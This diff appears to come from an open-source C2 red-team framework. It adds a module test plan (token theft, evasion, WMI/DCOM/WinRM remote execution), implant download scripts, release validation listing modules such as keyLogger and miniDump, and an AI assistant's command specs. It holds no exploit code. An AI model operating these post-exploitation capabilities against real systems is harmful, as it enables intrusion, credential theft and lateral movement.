mkDir + scenario: "Create remote directories and report existing/invalid path failures." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MkDir/tests/testsMkDir.cpp"] + manual: ["Run mkDir for a new temp path and verify it appears in ls."] + + - id: MODULE-REMOVE-CONTRACT-001 + area: Modules + feature: remove + scenario: "Remove remote files/directories and report safe errors for missing paths." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Remove/tests/testsRemove.cpp"] + manual: ["Create a temp file/directory, run remove, then verify it is gone."] + + - id: MODULE-TREE-CONTRACT-001 + area: Modules + feature: tree + scenario: "Render recursive directory tree output without breaking console formatting." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Tree/tests/testsTree.cpp"] + manual: ["Run tree on a small controlled directory."] + + - id: MODULE-PWD-CONTRACT-001 + area: Modules + feature: pwd + scenario: "Return current working directory once, without duplicate console output." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/PrintWorkingDirectory/tests/testsPrintWorkingDirectory.cpp"] + manual: ["Run pwd and verify one queued line, one done line, and one output block."] + + - id: MODULE-WHOAMI-CONTRACT-001 + area: Modules + feature: whoami + scenario: "Return current user identity with clear output." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Whoami/tests/testsWhoami.cpp"] + manual: ["Run whoami on Windows and Linux golden paths."] + + - id: MODULE-GETENV-CONTRACT-001 + area: Modules + feature: getEnv + scenario: "Return environment variables or a selected variable with clear missing-value handling." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/GetEnv/tests/testsGetEnv.cpp"] + manual: ["Run getEnv PATH or equivalent safe variable on Windows/Linux."] + + - id: MODULE-IPCONFIG-CONTRACT-001 + area: Modules + feature: ipConfig + scenario: "Return interface/network information without truncating important data." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/IpConfig/tests/testsIpConfig.cpp"] + manual: ["Run ipConfig and compare with local OS network information."] + + - id: MODULE-NETSTAT-CONTRACT-001 + area: Modules + feature: netstat + scenario: "Return network connection/listening information in a readable format." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Netstat/tests/testsNetstat.cpp"] + manual: ["Run netstat and verify expected local listener/client connections appear."] + + - id: MODULE-PS-CONTRACT-001 + area: Modules + feature: ps + scenario: "List processes with PID/name metadata and no console formatting breakage." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/ListProcesses/tests/testsListProcesses.cpp"] + manual: ["Run ps and verify the beacon process or a known process appears."] + + - id: MODULE-KILLPROCESS-CONTRACT-001 + area: Modules + feature: killProcess + scenario: "Kill a safe dummy process and reject invalid PID values clearly." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/KillProcess/tests/testsKillProcess.cpp"] + manual: ["Start a harmless dummy process, run killProcess , verify it exits."] + + - id: MODULE-SHELL-CONTRACT-001 + area: Modules + feature: shell + scenario: "Execute shell commands with stdout/stderr capture and startup failure handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Shell/tests/testsShell.cpp"] + manual: ["Run shell whoami/echo and an invalid command on Windows/Linux."] + + - id: MODULE-RUN-CONTRACT-001 + area: Modules + feature: run + scenario: "Run local process commands with stdout/stderr capture and startup failure handling." + priority: high + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Run/tests/testsRun.cpp"] + manual: ["Run a safe command and an invalid executable path."] + + - id: MODULE-CIMEXEC-CONTRACT-001 + area: Modules + feature: cimExec + scenario: "Validate CIM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/CimExec/tests/testsCimExec.cpp", "core/modules/CimExec/tests/functional/testsCimExecFunctional.cpp"] + manual: ["Run cimExec against a controlled Windows lab host."] + + - id: MODULE-DCOMEXEC-CONTRACT-001 + area: Modules + feature: dcomExec + scenario: "Validate DCOM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/DcomExec/tests/testsDcomExec.cpp", "core/modules/DcomExec/tests/functional/testsDcomExecFunctional.cpp"] + manual: ["Run dcomExec against a controlled Windows lab host."] + + - id: MODULE-SSHEXEC-CONTRACT-001 + area: Modules + feature: sshExec + scenario: "Validate SSH execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: any, arch: any, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/SshExec/tests/testsSshExec.cpp", "core/modules/SshExec/tests/functional/testsSshExecFunctional.cpp"] + manual: ["Run sshExec against a controlled SSH lab host."] + + - id: MODULE-WINRM-CONTRACT-001 + area: Modules + feature: winRm + scenario: "Validate WinRM execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/WinRM/tests/testsWinRM.cpp", "core/modules/WinRM/tests/functional/testsWinRMFunctional.cpp"] + manual: ["Run winRm against a controlled Windows lab host."] + + - id: MODULE-WMIEXEC-CONTRACT-001 + area: Modules + feature: wmiExec + scenario: "Validate WMI execution parameters and execute a controlled remote command when lab target exists." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/WmiExec/tests/testsWmiExec.cpp", "core/modules/WmiExec/tests/functional/testsWmiExecFunctional.cpp"] + manual: ["Run wmiExec against a controlled Windows lab host."] + + - id: MODULE-MAKETOKEN-CONTRACT-001 + area: Modules + feature: makeToken + scenario: "Create a logon token from credentials and report authentication failures clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/MakeToken/tests/testsMakeToken.cpp"] + manual: ["Run makeToken with known lab credentials and then whoami or a token-aware check."] + + - id: MODULE-STEALTOKEN-CONTRACT-001 + area: Modules + feature: stealToken + scenario: "Impersonate token from a safe process and report invalid PID/access errors clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/StealToken/tests/testsStealToken.cpp"] + manual: ["Run stealToken against a controlled process in a lab VM."] + + - id: MODULE-REV2SELF-CONTRACT-001 + area: Modules + feature: rev2self + scenario: "Revert impersonation back to the original token." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Rev2self/tests/testsRev2self.cpp"] + manual: ["Run makeToken or stealToken, then rev2self, then verify identity."] + + - id: MODULE-SPAWNAS-CONTRACT-001 + area: Modules + feature: spawnAs + scenario: "Spawn a process as supplied credentials and handle invalid packed parameters." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/SpawnAs/tests/testsSpawnAs.cpp", "core/modules/SpawnAs/tests/functional/testsSpawnAsFunctional.cpp"] + manual: ["Run spawnAs with known lab credentials and safe command."] + + - id: MODULE-REGISTRY-CONTRACT-001 + area: Modules + feature: registry + scenario: "Read/query registry keys and handle missing keys or malformed packed commands safely." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Registry/tests/testsRegistry.cpp"] + manual: ["Run a read-only query for HKCU/HKLM known key and a missing key."] + + - id: MODULE-TASKSCHEDULER-CONTRACT-001 + area: Modules + feature: taskScheduler + scenario: "Create/query/delete a scheduled task and validate parameter errors." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/TaskScheduler/tests/testsTaskScheduler.cpp", "core/modules/TaskScheduler/tests/functional/testsTaskSchedulerFunctional.cpp"] + manual: ["Create and delete a harmless lab scheduled task."] + + - id: MODULE-EVASION-CONTRACT-001 + area: Modules + feature: evasion + scenario: "Run supported evasion actions and report unsupported or failed actions clearly." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/Evasion/tests/testsEvasion.cpp", "core/modules/Evasion/tests/functional/testsEvasionFunctional.cpp"] + manual: ["Run supported evasion command in isolated lab VM and verify output only."] + + - id: MODULE-ENUMERATESHARES-CONTRACT-001 + area: Modules + feature: enumerateShares + scenario: "Enumerate network shares with readable output and safe error handling." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/EnumerateShares/tests/testsEnumerateShares.cpp"] + manual: ["Run enumerateShares against localhost or a controlled lab host."] + + - id: MODULE-ENUMERATERDPSESSIONS-CONTRACT-001 + area: Modules + feature: enumerateRdpSessions + scenario: "Enumerate RDP sessions with readable output and safe error handling." + priority: medium + validation: auto+manual + axes: {os: windows, arch: x64, listener: https, artifact_category: n/a} + evidence: + auto: ["core/modules/EnumerateRdpSessions/tests/testsEnumerateRdpSessions.cpp", "core/modules/EnumerateRdpSessions/tests/functional/testsEnumerateRdpSessionsFunctional.cpp"] + manual: ["Run enumerateRdpSessions on a lab Windows host with known session state."] + + - id: MODULE-COMMANDSPEC-COVERAGE-001 + area: Modules + feature: CommandSpec coverage + scenario: "Every user-facing module command has a CommandSpec JSON with assistant-renderable command_template metadata." + priority: critical + validation: auto + axes: {os: teamserver, arch: n/a, listener: n/a, artifact_category: command_specs} + evidence: + auto: ["teamServer/tests/TeamServerCommandCatalogTests.cpp", "C2Client/tests/assistant_agent/test_command_specs.py", "C2Client/tests/assistant_agent/test_command_help_tool.py", "C2Client/tests/assistant_agent/test_module_state_tool.py", "C2Client/tests/assistant_agent/test_tool_registry.py"] + manual: [] + + - id: RELEASE-WINDOWS-ARTIFACTS-001 + area: Release + feature: Windows release artifacts + scenario: "Build/release output contains WindowsBeacons/, WindowsModules, Tools, Scripts, CommandSpecs, and TeamServer data layout." + priority: critical + validation: manual + axes: {os: windows, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: [] + manual: ["Run clean release build and inspect build/artifacts/Release/data plus Windows artifact roots."] + + - id: RELEASE-LINUX-ARTIFACTS-001 + area: Release + feature: Linux release artifacts + scenario: "Build/release output contains LinuxBeacons/, LinuxModules/, Tools/Linux/, Scripts/Linux, and CommandSpecs." + priority: critical + validation: manual + axes: {os: linux, arch: any, listener: n/a, artifact_category: any} + evidence: + auto: [] + manual: ["Run clean release build and inspect Linux artifacts with arch subfolders."] + + - id: VALIDATION-GOLDEN-PATH-WINDOWS-001 + area: Validation + feature: Windows golden path + scenario: "End-to-end Windows x64 HTTPS validation: connect, load module, run commands, use artifacts, generate output, host artifact." + priority: critical + validation: manual + axes: {os: windows, arch: x64, listener: https, artifact_category: any} + evidence: + auto: [] + manual: ["Run the predetermined Windows golden path checklist once manual-results.yaml exists."] + + - id: VALIDATION-GOLDEN-PATH-LINUX-001 + area: Validation + feature: Linux golden path + scenario: "End-to-end Linux x64 HTTPS validation: connect, run commands, upload/download, script, and module lifecycle." + priority: critical + validation: manual + axes: {os: linux, arch: x64, listener: https, artifact_category: any} + evidence: + auto: [] + manual: ["Run the predetermined Linux golden path checklist once manual-results.yaml exists."] + + - id: VALIDATION-ERROR-HANDLING-001 + area: Validation + feature: Error handling + scenario: "Reject invalid commands, missing artifacts, missing tools, invalid listener fields, and failed module preparation with clear messages." + priority: critical + validation: auto+manual + axes: {os: any, arch: any, listener: any, artifact_category: any} + evidence: + auto: ["teamServer/tests/TeamServerCommandPreparationServiceTests.cpp", "C2Client/tests/test_listener_panel.py", "C2Client/tests/test_console_panel.py"] + manual: ["Attempt missing tool, missing script, invalid listener port, and unknown command from UI."] diff --git a/download-c2implant-artifacts.sh b/download-c2implant-artifacts.sh index 72cec47..7a333ca 100644 --- a/download-c2implant-artifacts.sh +++ b/download-c2implant-artifacts.sh @@ -1,6 +1,35 @@ #!/usr/bin/env bash set -euo pipefail +usage() { + cat <<'USAGE' +Usage: ./download-c2implant-artifacts.sh [tag] [out_root] + +Download Windows C2Implant release artifacts and stage them into: + /WindowsBeacons/x86|x64|arm64/ + /WindowsModules/x86|x64|arm64/ + +Arguments: + tag GitHub release tag to download. Default: 0.15.0 + out_root Release staging root. Default: ./Release + +Examples: + ./download-c2implant-artifacts.sh + ./download-c2implant-artifacts.sh 0.15.0 ./Release +USAGE +} + +if [[ "${1:-}" == "-h" || "${1:-}" == "--help" ]]; then + usage + exit 0 +fi + +if (( $# > 2 )); then + echo "Error: too many arguments." >&2 + usage >&2 + exit 2 +fi + TAG="${1:-0.15.0}" OUT_ROOT="${2:-./Release}" REPO_URL="https://github.com/maxDcb/C2Implant/releases/download/${TAG}" @@ -58,5 +87,4 @@ done echo echo "[+] Done. Layout:" -find "${OUT_ROOT}/WindowsBeacons" "${OUT_ROOT}/WindowsModules" -maxdepth 2 -type d | sort - +find "${OUT_ROOT}/WindowsBeacons" "${OUT_ROOT}/WindowsModules" -maxdepth 2 -type f | sort diff --git a/download-c2linuximplant-artifacts.sh b/download-c2linuximplant-artifacts.sh index 5327599..1a2ed87 100644 --- a/download-c2linuximplant-artifacts.sh +++ b/download-c2linuximplant-artifacts.sh @@ -1,11 +1,48 @@ #!/usr/bin/env bash set -euo pipefail +usage() { + cat <<'USAGE' +Usage: ./download-c2linuximplant-artifacts.sh [tag] [out_root] [arch] + +Download Linux C2LinuxImplant release artifacts and stage them into: + /LinuxBeacons// + /LinuxModules// + +Arguments: + tag GitHub release tag to download. Default: 0.14.0 + out_root Release staging root. Default: ./Release + arch Target Linux architecture. Default: x64 + +Examples: + ./download-c2linuximplant-artifacts.sh + ./download-c2linuximplant-artifacts.sh 0.14.0 ./Release x64 +USAGE +} + +if [[ "${1:-}" == "-h" || "${1:-}" == "--help" ]]; then + usage + exit 0 +fi + +if (( $# > 3 )); then + echo "Error: too many arguments." >&2 + usage >&2 + exit 2 +fi + TAG="${1:-0.14.0}" OUT_ROOT="${2:-./Release}" +ARCH="${3:-x64}" REPO_URL="https://github.com/maxDcb/C2LinuxImplant/releases/download/${TAG}" ASSET="Release.tar.gz" +if [[ "${ARCH}" != "x64" ]]; then + echo "Error: unsupported Linux architecture: ${ARCH}" >&2 + usage >&2 + exit 2 +fi + TMP_DIR="$(mktemp -d)" cleanup() { @@ -15,9 +52,9 @@ trap cleanup EXIT mkdir -p "${OUT_ROOT}" -echo "[*] Preparing ${OUT_ROOT}/LinuxBeacons and ${OUT_ROOT}/LinuxModules" +echo "[*] Preparing ${OUT_ROOT}/LinuxBeacons/${ARCH} and ${OUT_ROOT}/LinuxModules/${ARCH}" rm -rf "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -mkdir -p "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" +mkdir -p "${OUT_ROOT}/LinuxBeacons/${ARCH}" "${OUT_ROOT}/LinuxModules/${ARCH}" TAR_PATH="${TMP_DIR}/${ASSET}" EXTRACT_DIR="${TMP_DIR}/extract-linux" @@ -44,10 +81,9 @@ if [[ ! -d "${RELEASE_ROOT}/LinuxModules" ]]; then exit 1 fi -cp -a "${RELEASE_ROOT}/LinuxBeacons/." "${OUT_ROOT}/LinuxBeacons/" -cp -a "${RELEASE_ROOT}/LinuxModules/." "${OUT_ROOT}/LinuxModules/" +cp -a "${RELEASE_ROOT}/LinuxBeacons/." "${OUT_ROOT}/LinuxBeacons/${ARCH}/" +cp -a "${RELEASE_ROOT}/LinuxModules/." "${OUT_ROOT}/LinuxModules/${ARCH}/" echo echo "[+] Done. Layout:" -find "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -maxdepth 1 -type f | sort - +find "${OUT_ROOT}/LinuxBeacons" "${OUT_ROOT}/LinuxModules" -maxdepth 2 -type f | sort diff --git a/libs/libSocks5 b/libs/libSocks5 index 2cb9ead..6a35ed4 160000 --- a/libs/libSocks5 +++ b/libs/libSocks5 @@ -1 +1 @@ -Subproject commit 2cb9ead72fb5d4916b3210ccbb920565a4b674a1 +Subproject commit 6a35ed4d4933b2f1dd84d6082bf77a7e9c24fe36 diff --git a/packaging/assemble_release.py b/packaging/assemble_release.py index 7dc9fe9..92251fd 100644 --- a/packaging/assemble_release.py +++ b/packaging/assemble_release.py @@ -93,6 +93,7 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> build_release_root = build_root / "artifacts" / "Release" teamserver_root = build_release_root / "TeamServer" modules_root = build_release_root / "TeamServerModules" + command_specs_root = build_release_root / "CommandSpecs" if not teamserver_root.exists(): raise FileNotFoundError( @@ -104,6 +105,11 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> f"Missing TeamServer module artifacts: {modules_root}. " "Build the project before staging the release.", ) + if not command_specs_root.exists(): + raise FileNotFoundError( + f"Missing TeamServer command specs: {command_specs_root}. " + "Build the project before staging the release.", + ) shutil.rmtree(output_root, ignore_errors=True) output_root.parent.mkdir(parents=True, exist_ok=True) @@ -111,10 +117,12 @@ def assemble_release(source_root: Path, build_root: Path, output_root: Path) -> shutil.rmtree(output_root / "TeamServer", ignore_errors=True) shutil.rmtree(output_root / "TeamServerModules", ignore_errors=True) + shutil.rmtree(output_root / "CommandSpecs", ignore_errors=True) shutil.rmtree(output_root / "Modules", ignore_errors=True) _copytree(teamserver_root, output_root / "TeamServer") _copytree(modules_root, output_root / "TeamServerModules") + _copytree(command_specs_root, output_root / "CommandSpecs") shutil.rmtree(output_root / "TeamServer" / "logs", ignore_errors=True) (output_root / "TeamServer" / "logs").mkdir(parents=True, exist_ok=True) diff --git a/packaging/import_implant_releases.py b/packaging/import_implant_releases.py index fb06f56..b21c00e 100644 --- a/packaging/import_implant_releases.py +++ b/packaging/import_implant_releases.py @@ -14,6 +14,7 @@ from validate_release import ( EXPECTED_LINUX_BEACONS, + EXPECTED_LINUX_ARCHES, EXPECTED_LINUX_MODULES, EXPECTED_WINDOWS_ARCHES, EXPECTED_WINDOWS_BEACONS, @@ -25,6 +26,7 @@ DEFAULT_WINDOWS_REPO = "maxDcb/C2Implant" DEFAULT_LINUX_REPO = "maxDcb/C2LinuxImplant" +DEFAULT_LINUX_ARCH = EXPECTED_LINUX_ARCHES[0] def _request(url: str, token: str | None = None) -> urllib.request.Request: @@ -177,8 +179,8 @@ def _prepare_linux(repo: str, tag: str | None, import_root: Path, stage_root: Pa _require_directory_exact(linux_beacons, EXPECTED_LINUX_BEACONS) _require_directory_exact(linux_modules, EXPECTED_LINUX_MODULES) return [ - (linux_beacons, stage_root / "LinuxBeacons", EXPECTED_LINUX_BEACONS), - (linux_modules, stage_root / "LinuxModules", EXPECTED_LINUX_MODULES), + (linux_beacons, stage_root / "LinuxBeacons" / DEFAULT_LINUX_ARCH, EXPECTED_LINUX_BEACONS), + (linux_modules, stage_root / "LinuxModules" / DEFAULT_LINUX_ARCH, EXPECTED_LINUX_MODULES), ] @@ -231,6 +233,8 @@ def main(argv: Iterable[str] | None = None) -> int: shutil.rmtree(stage_root / "WindowsBeacons", ignore_errors=True) shutil.rmtree(stage_root / "WindowsModules", ignore_errors=True) + shutil.rmtree(stage_root / "LinuxBeacons", ignore_errors=True) + shutil.rmtree(stage_root / "LinuxModules", ignore_errors=True) for source, destination, expected_files in copy_plan: _copy_validated_dir(source, destination, expected_files) except (RuntimeError, ValidationError, zipfile.BadZipFile, tarfile.TarError) as exc: diff --git a/packaging/tests/test_import_implant_releases.py b/packaging/tests/test_import_implant_releases.py index cef42fa..31339b1 100644 --- a/packaging/tests/test_import_implant_releases.py +++ b/packaging/tests/test_import_implant_releases.py @@ -72,8 +72,15 @@ def fake_fetch_release_asset(repo, tag, asset_name, destination, token): assert beacon_path.read_text(encoding="utf-8") == f"{arch}:BeaconHttp.exe" assert module_path.read_text(encoding="utf-8") == f"{arch}:Inject.dll" + linux_beacon_path = stage_root / "LinuxBeacons" / "x64" / "BeaconHttp" + linux_module_path = stage_root / "LinuxModules" / "x64" / "libInject.so" + assert linux_beacon_path.read_text(encoding="utf-8") == "linux:BeaconHttp" + assert linux_module_path.read_text(encoding="utf-8") == "linux:libInject.so" + assert not any((stage_root / "WindowsBeacons").glob("*.exe")) assert not any((stage_root / "WindowsModules").glob("*.dll")) + assert not any((stage_root / "LinuxBeacons").glob("Beacon*")) + assert not any((stage_root / "LinuxModules").glob("*.so")) def test_import_implant_releases_rejects_missing_windows_arch_asset(tmp_path, monkeypatch): diff --git a/packaging/tests/test_validate_release.py b/packaging/tests/test_validate_release.py new file mode 100644 index 0000000..686d73c --- /dev/null +++ b/packaging/tests/test_validate_release.py @@ -0,0 +1,84 @@ +from __future__ import annotations + +import os +import stat +import sys +from pathlib import Path + +import pytest + +PACKAGING_ROOT = Path(__file__).resolve().parents[1] +sys.path.insert(0, str(PACKAGING_ROOT)) + +import validate_release # noqa: E402 + + +def _write_file(path: Path, content: str = "x", *, executable: bool = False) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + path.write_text(content, encoding="utf-8") + if executable and os.name != "nt": + path.chmod(path.stat().st_mode | stat.S_IXUSR) + + +def _seed_base_release(root: Path) -> None: + for filename in validate_release.EXPECTED_TEAMSERVER_FILES: + _write_file(root / "TeamServer" / filename, executable=filename == "TeamServer") + (root / "TeamServer" / "logs").mkdir(parents=True) + + for filename in validate_release.EXPECTED_TEAMSERVER_MODULES: + _write_file(root / "TeamServerModules" / filename) + + for filename in validate_release.EXPECTED_COMMAND_SPECS_COMMON: + _write_file(root / "CommandSpecs" / "common" / filename, "{}") + for filename in validate_release.EXPECTED_COMMAND_SPECS_MODULES: + _write_file(root / "CommandSpecs" / "modules" / filename, "{}") + + _write_file(root / "Client" / "README.md") + _write_file(root / "Client" / "pyproject.toml") + _write_file(root / "Client" / "requirements.txt") + _write_file(root / "Client" / "run-client.sh", executable=True) + _write_file(root / "Client" / "run-client.ps1") + _write_file(root / "Client" / "c2client_protocol" / "__init__.py") + _write_file(root / "Client" / "c2client_protocol" / "TeamServerApi_pb2.py") + _write_file(root / "Client" / "c2client_protocol" / "TeamServerApi_pb2_grpc.py") + + +def test_validate_base_release_requires_command_specs(tmp_path): + release_root = tmp_path / "Release" + _seed_base_release(release_root) + + validate_release.validate_base_release(release_root) + + (release_root / "CommandSpecs" / "modules" / "taskScheduler.json").unlink() + with pytest.raises(validate_release.ValidationError, match="taskScheduler.json"): + validate_release.validate_base_release(release_root) + + +def test_validate_base_release_rejects_runtime_data_roots(tmp_path): + release_root = tmp_path / "Release" + _seed_base_release(release_root) + (release_root / "data" / "Tools").mkdir(parents=True) + + with pytest.raises(validate_release.ValidationError, match="runtime/operator data"): + validate_release.validate_base_release(release_root) + + +def test_validate_implants_requires_linux_arch_layout(tmp_path): + release_root = tmp_path / "Release" + for arch in validate_release.EXPECTED_WINDOWS_ARCHES: + for filename in validate_release.EXPECTED_WINDOWS_BEACONS: + _write_file(release_root / "WindowsBeacons" / arch / filename) + for filename in validate_release.EXPECTED_WINDOWS_MODULES: + _write_file(release_root / "WindowsModules" / arch / filename) + for arch in validate_release.EXPECTED_LINUX_ARCHES: + for filename in validate_release.EXPECTED_LINUX_BEACONS: + _write_file(release_root / "LinuxBeacons" / arch / filename) + for filename in validate_release.EXPECTED_LINUX_MODULES: + _write_file(release_root / "LinuxModules" / arch / filename) + + validate_release.validate_implants(release_root) + + flat_beacon = release_root / "LinuxBeacons" / "BeaconHttp" + _write_file(flat_beacon) + with pytest.raises(validate_release.ValidationError, match="unexpected file"): + validate_release.validate_implants(release_root) diff --git a/packaging/validate_release.py b/packaging/validate_release.py index d003d17..57e917a 100644 --- a/packaging/validate_release.py +++ b/packaging/validate_release.py @@ -71,6 +71,10 @@ "arm64", ) +EXPECTED_LINUX_ARCHES = ( + "x64", +) + EXPECTED_WINDOWS_BEACONS = ( "BeaconDns.exe", "BeaconDnsDll.dll", @@ -142,6 +146,64 @@ EXPECTED_LINUX_MODULES = EXPECTED_TEAMSERVER_MODULES +EXPECTED_COMMAND_SPECS_COMMON = ( + "sleep.json", + "end.json", + "help.json", + "listener.json", + "listModule.json", + "loadModule.json", + "unloadModule.json", +) + +EXPECTED_COMMAND_SPECS_MODULES = ( + "assemblyExec.json", + "cat.json", + "cd.json", + "chisel.json", + "cimExec.json", + "coffLoader.json", + "dcomExec.json", + "dotnetExec.json", + "download.json", + "enumerateRdpSessions.json", + "enumerateShares.json", + "evasion.json", + "getEnv.json", + "inject.json", + "ipConfig.json", + "kerberosUseTicket.json", + "keyLogger.json", + "killProcess.json", + "ls.json", + "makeToken.json", + "miniDump.json", + "mkDir.json", + "netstat.json", + "ps.json", + "psExec.json", + "pwSh.json", + "powershell.json", + "pwd.json", + "registry.json", + "remove.json", + "rev2self.json", + "reversePortForward.json", + "run.json", + "screenShot.json", + "shell.json", + "script.json", + "spawnAs.json", + "sshExec.json", + "stealToken.json", + "taskScheduler.json", + "tree.json", + "upload.json", + "whoami.json", + "winRm.json", + "wmiExec.json", +) + class ValidationError(RuntimeError): pass @@ -219,6 +281,7 @@ def validate_base_release(release_root: Path) -> None: teamserver_root = release_root / "TeamServer" modules_root = release_root / "TeamServerModules" + command_specs_root = release_root / "CommandSpecs" client_root = release_root / "Client" if not teamserver_root.is_dir(): @@ -233,8 +296,21 @@ def validate_base_release(release_root: Path) -> None: if not (teamserver_root / "logs").is_dir(): raise ValidationError(f"Missing TeamServer logs directory: {teamserver_root / 'logs'}") + runtime_data_roots = ("data", "Tools", "Scripts", "UploadedArtifacts", "GeneratedArtifacts", "www") + packaged_data_roots = [name for name in runtime_data_roots if (release_root / name).exists()] + if packaged_data_roots: + raise ValidationError( + "Release staging contains runtime/operator data directories: " + + ", ".join(packaged_data_roots) + ) + _require_directory_exact(modules_root, EXPECTED_TEAMSERVER_MODULES) + for spec in EXPECTED_COMMAND_SPECS_COMMON: + _require_non_empty_file(command_specs_root / "common" / spec) + for spec in EXPECTED_COMMAND_SPECS_MODULES: + _require_non_empty_file(command_specs_root / "modules" / spec) + _require_non_empty_file(client_root / "README.md") _require_non_empty_file(client_root / "pyproject.toml") _require_non_empty_file(client_root / "requirements.txt") @@ -268,8 +344,16 @@ def validate_implants(release_root: Path) -> None: EXPECTED_WINDOWS_ARCHES, EXPECTED_WINDOWS_MODULES, ) - _require_directory_exact(release_root / "LinuxBeacons", EXPECTED_LINUX_BEACONS) - _require_directory_exact(release_root / "LinuxModules", EXPECTED_LINUX_MODULES) + _require_arch_directories_exact( + release_root / "LinuxBeacons", + EXPECTED_LINUX_ARCHES, + EXPECTED_LINUX_BEACONS, + ) + _require_arch_directories_exact( + release_root / "LinuxModules", + EXPECTED_LINUX_ARCHES, + EXPECTED_LINUX_MODULES, + ) def main() -> int: diff --git a/protocol/TeamServerApi.proto b/protocol/TeamServerApi.proto index 5e951c6..748f7f2 100644 --- a/protocol/TeamServerApi.proto +++ b/protocol/TeamServerApi.proto @@ -14,6 +14,13 @@ service TeamServerApi rpc ListSessions(Empty) returns (stream Session) {} rpc StopSession(SessionSelector) returns (OperationAck) {} + rpc ListArtifacts(ArtifactQuery) returns (stream ArtifactSummary) {} + rpc DownloadArtifact(ArtifactSelector) returns (ArtifactContent) {} + rpc UploadArtifact(ArtifactUploadRequest) returns (OperationAck) {} + rpc DeleteGeneratedArtifact(ArtifactSelector) returns (OperationAck) {} + rpc ListCommands(CommandQuery) returns (stream CommandSpec) {} + rpc ListModules(SessionSelector) returns (stream LoadedModule) {} + rpc GetCommandHelp(CommandHelpRequest) returns (CommandHelpResponse) {} rpc SendSessionCommand(SessionCommandRequest) returns (CommandAck) {} rpc StreamSessionCommandResults(SessionSelector) returns (stream CommandResult) {} @@ -100,6 +107,103 @@ message Session } +message ArtifactQuery +{ + string category = 1; + string scope = 2; + string platform = 3; + string arch = 4; + string name_contains = 5; + string target = 6; + string runtime = 7; + string format = 8; +} + + +message ArtifactSummary +{ + string artifact_id = 1; + string name = 2; + string display_name = 3; + string category = 4; + string scope = 5; + string platform = 6; + string arch = 7; + string format = 8; + string source = 9; + int64 size = 10; + string sha256 = 11; + string description = 12; + repeated string tags = 13; + string target = 14; + string runtime = 15; +} + + +message ArtifactSelector +{ + string artifact_id = 1; +} + +message ArtifactContent +{ + Status status = 1; + string message = 2; + string artifact_id = 3; + string name = 4; + string display_name = 5; + bytes data = 6; +} + +message ArtifactUploadRequest +{ + string name = 1; + string platform = 2; + string arch = 3; + bytes data = 4; +} + + +message CommandQuery +{ + string kind = 1; + string target = 2; + string platform = 3; + string name_contains = 4; +} + + +message CommandArgSpec +{ + string name = 1; + string type = 2; + bool required = 3; + string description = 4; + repeated string values = 5; + ArtifactQuery artifact_filter = 6; + bool variadic = 7; + repeated ArtifactQuery artifact_filters = 8; + repeated string completion_parents = 9; +} + + +message CommandSpec +{ + string name = 1; + string display_name = 2; + string kind = 3; + string description = 4; + string target = 5; + bool requires_session = 6; + repeated string platforms = 7; + repeated string archs = 8; + repeated CommandArgSpec args = 9; + repeated string examples = 10; + string source = 11; + string command_template = 12; +} + + message CommandHelpRequest { SessionSelector session = 1; @@ -124,6 +228,18 @@ message SessionCommandRequest } +message LoadedModule +{ + SessionSelector 